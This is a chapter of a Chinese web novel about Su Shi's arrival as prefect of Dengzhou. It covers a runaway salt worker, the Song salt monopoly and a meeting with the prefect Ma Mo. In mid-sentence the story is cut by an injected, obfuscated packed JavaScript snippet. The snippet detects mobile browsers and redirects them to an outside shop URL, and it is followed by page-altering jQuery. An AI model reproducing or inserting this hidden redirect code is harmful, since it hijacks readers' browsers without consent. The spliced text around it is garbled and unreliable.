驾车的钟叔眼疾手快拉住了马,才好险没让车轮压到倒下的人。
老苏下车查看,见此人这般凄惨,自然不好扔下不管。
刚好也到休整时间,大家便寻了个地方休息吃饭,顺便看看捡到这个人怎么样。
苏二哥把了把脉象,“此人并无大碍,只是饥饿劳累晕倒。”
众人不疑有它,这么瘦巴巴的样子,的确很像被饿晕。
但登州不是经济不错么,最近也没什么灾害,怎么还会有这么凄惨的百姓。
作为即将上任的登州父母官,苏轼自然无法坐视不管。
不知是不是闻到了香味,没过多久人便苏醒了过来。却没想到睁眼见到这么多人,此人第一反应竟然是逃跑。
但估计实在饿了太久,没什么力气,这人拼命挣扎也只是缓慢移动了几步,被苏过拦在了面前。
“这位小哥不要怕,我们不是坏人。你身体虚弱晕倒在我们马车前,先休息休息吃点东西再走吧。”苏过劝他。
见面前只是个小孩,又环顾一圈,的确像是出远门的一家人,此人终于放下心来,“多谢各位恩公相救。”
苏过盛出一碗面条递给他,“小哥怎么这幅模样,登州是发生什么事了么?”此人看起来年纪尚轻,属于青壮劳力,却还这幅样子,若不是极端情况,实在很难解释。
对面接过碗,狼吞虎咽吃完了整碗面,连汤都喝了干净。也许是吃饱的满足感降低了一些戒心,又也许苏过一行人的确不太具备威胁。对方终于面色缓和下来,“不敢欺瞒恩公,登州并无大事,只是我出门探亲丢了盘缠包袱,才落到这般景象。”
听罢苏过提议,“我们正要前往登州,小哥要不要跟我们一起,刚好送你回去。”
听到回登州,此人面上一阵紧张,“不用不用,我要南下探亲,这就继续上路,不打扰各位了。”
苏过还待继续细问,苏轼拦住他,“既然小友自有安排,那我们也不勉强。”又从口袋里拿出一串铜钱,“只是你盘缠尽丢,恐怕无法顺利南下,这点钱你拿着作为路费吧。”
年轻人见此,眼眶泛红,接下铜钱,“感谢恩公,不知恩公尊姓大名,来日若有机会,必将盘缠还给您。”
苏轼摆摆手,“你若再回登州,找苏东坡便是。”
听到这话,对面人脸上闪过一丝犹豫,却最终还是变为果决,“多谢恩公,我还要赶路,先告辞了。”
于是对苏家众人拜了拜,此人步履蹒跚头也不回的走了。
待人影消失不见,苏过问老苏,“爹你怎么就让他这么走了。”
苏轼看向儿子,“不然呢,他一个逃跑的人,肯定是不会回登州的,又何必为难。”
苏迨给对方把脉的时候他就观察到,此人手脚有多处皲裂溃烂,皮肤灰白还附着白色晶体。再配合他的神色语气,身份不言而喻,是个私逃的盐户。
老苏出身蜀州,川地井盐十分出名,当地就有许多盐户,他对这种情况也算是见过许多。
大宋施行十分严格的榷盐制度,食盐的生产、运输和销售基本都由官府掌控,其税收盈利占了整个朝廷收入近一半。
为了稳定盐业生产,还专门设置了盐户,世代负责食盐生产,不得改业。
而且为了方便作业,盐户还被组织起来,以熬盐的“灶”为单位,十灶左右为一“甲”,实行连保,互相监督,以防私煎私卖。毕竟食盐属于暴利行业,私盐贩买十分泛滥。
这样严格的制度下,对盐户的盘剥十分严重,官府不但会派兵看守盐场,控制点火熄火时间,每日都要辛勤劳作。盐户生产的盐还必须全部卖给官府。
官府的收购价一般都超级低,还经常拖欠款项。不仅如此,盐户这边要承担盐课,盐户的家人还要担负普通民户的赋税劳役,可以说是极其辛苦。
一边是压迫,一边是暴利。自然会有许多反抗,离眉州不远的戎州那边,就出现过好几次武装冲突。除了这种大型反抗,私逃的盐户更是不在少数。
登州临海,本就是制盐重地,这种情况只会多不会少。
苏轼也算是见的比较多了,对这种制度一直有心改善,却人微言轻。毕竟这种涉及国家经济支柱的事情,牵一发而动全身,十分难处理。
苏过知道大宋榷盐,却并不了解其中细节,这会儿听下来,极为感慨,“难怪他身体状况这么差,一提起回登州就面露恐惧。”一切都说得通了。
“不过他这样私逃出去,也没办法好好生活吧。”苏过疑惑道,毕竟这时很讲究身份路引,潜逃出去的就算是黑户了,在哪儿都要躲躲藏藏。
“要么投奔私盐组织,要么就去偏僻一点的地方开荒种地,跟着一些流民们混饭吃。”苏轼其实作为即将上任的登州知州,是应该将其抓回的。
但明知道是官逼民反,还去纠结百姓的行为,就有点本末倒置了。于是才故意不点明,还给了人盘缠,希望他能过的好一些,来日有机会再回登州。
也希望那时的登州,能有所改善。
苏过听完一边感慨一遍疑惑,“登州这么繁华的地方竟然都这样,实在是可惜。”
苏轼听了倒是露出笑意,“谁告诉你登州繁华了?”
“嗯?”苏过一下子惊到了,“登州不是北方最大港口么?还那么多金矿铁矿,这还不繁华。”
苏轼坐回去,拿了个饼慢慢吃起来,“登州的港口早在熙宁七年就关掉了。至于金矿铁矿么,有钱和民苦也并不冲突。”
这倒是意外的消息了,苏过只记得大致的情况,却没想到这中间还有一些变故。
不过对于老苏所说,有钱但民生不一定好的事倒是认同。贫富差距和压迫在哪个年代都有,全看世道政策如何。
看来登州这个地方,远不像他想象的那么简单。
不过来都来了,马上要到登州,多想无益。黄州当年不也是个穷乡僻壤么,都发展起来了,登州抱着这么多资源,总不至于状况更差。
且先进城吧。
众人填饱肚子,又休息了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678315|184447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会儿,继续往城里出发。
抵达登州,一行人直接前往府衙,递上文书,便有人引他们入内。
前知州马默与通判郑为正在等着他们。
这回到登州,老苏作为知州,自然是不用再为住处发愁。直接有人引王氏等人前往官邸。苏过跟着老苏前去见人,苏二哥向来对这些不感兴趣,直接跟王氏回去休整了,毕竟他身体即使经过这些年的调养好了许多,也并不健壮。路上奔波这么久,很是疲惫了。
待见到马知州,几人寒暄落座,苏过安安份份做个乖后辈跟着老爹,只多听多观察,并不怎么发言。这位前知州倒是一看就满脸正气。
苏轼作为北宋名人,百姓不至于都认识他,但这些当官的肯定是有所耳闻的。马默对苏轼很有好感,十分热情详尽的跟老苏交代了登州种种情况,也对他在黄州的经历十分感兴趣,显然是看过《黄州小刊》的人,许多条例与轶事都很熟悉。大家聊的十分尽兴。
这位马知州是山东单州人,离登州不算很远,也算是半个当地人。在这边很有贤名,十分刚正不阿,为官清廉。之前做知县时就敢处罚犯事儿的官吏,才不管什么“刑不上大夫”的旧习。
到登州任职后,更是处理了许多恶性事件。
登州附近有个沙门岛,是专门作为流放的地方,时常有许多囚犯被送过去。有时难免会有囚犯数量超过定额的时候,岛主李庆竟然直接将超出人数的囚犯直接扔到海里,两年里死了七百多个人。
之前的官员都睁一只眼闭一只眼,毕竟死的都是犯事儿的囚犯。
但马默可见不得这种事,到任后不久,就严厉追究了李庆的罪责,还给朝廷上奏,提议修改了《配岛法》,建议超出定额的囚犯可以视表现转移到登州陆地改造,毕竟海岛的容量的确有限。
此举可以说是十分仁义而且有魄力了。毕竟安置囚犯还是需要费挺多事的。
苏过听下来,登州不但没有之前想的那么好,情况还比较艰难。
自从港口关闭后,这边的经济状况是一路下滑。少了往来使节与海运商人,许多百姓少了经商与港口的工作,只能做别的甚至种地。包括原本靠出海捕鱼为生的人,现在也只能近海捕捞,甚至从海上转向土地。但登州处于胶东半岛,山地比较多,耕地很少,哪里容得下这么多需求。而且山地也变相阻碍了这边各种物资与外地的交流。交通不易,商人都不爱过来,登州的经济自然更加起不来。许多百姓都背井离乡,直接外出谋生了。
苏轼还特地问了下这边盐户相关事宜,自然也不乐观,盐户私逃都不是个例。
马默为官清廉,很能为民做主。但许多事情也没有更好办法。于是聊到最后,几人倒长吁短叹了起来。
见氛围实在沉重,倒是马默先反应过来,“是我唐突了,子瞻初到此地就聊这些,还未替你接风洗尘呢,今晚我在府上设宴,有刚捞上来的加吉鱼,十分鲜美,一定要早些过来。”
听到这里苏过眼睛一亮,加吉鱼啊,听说超级好吃呢。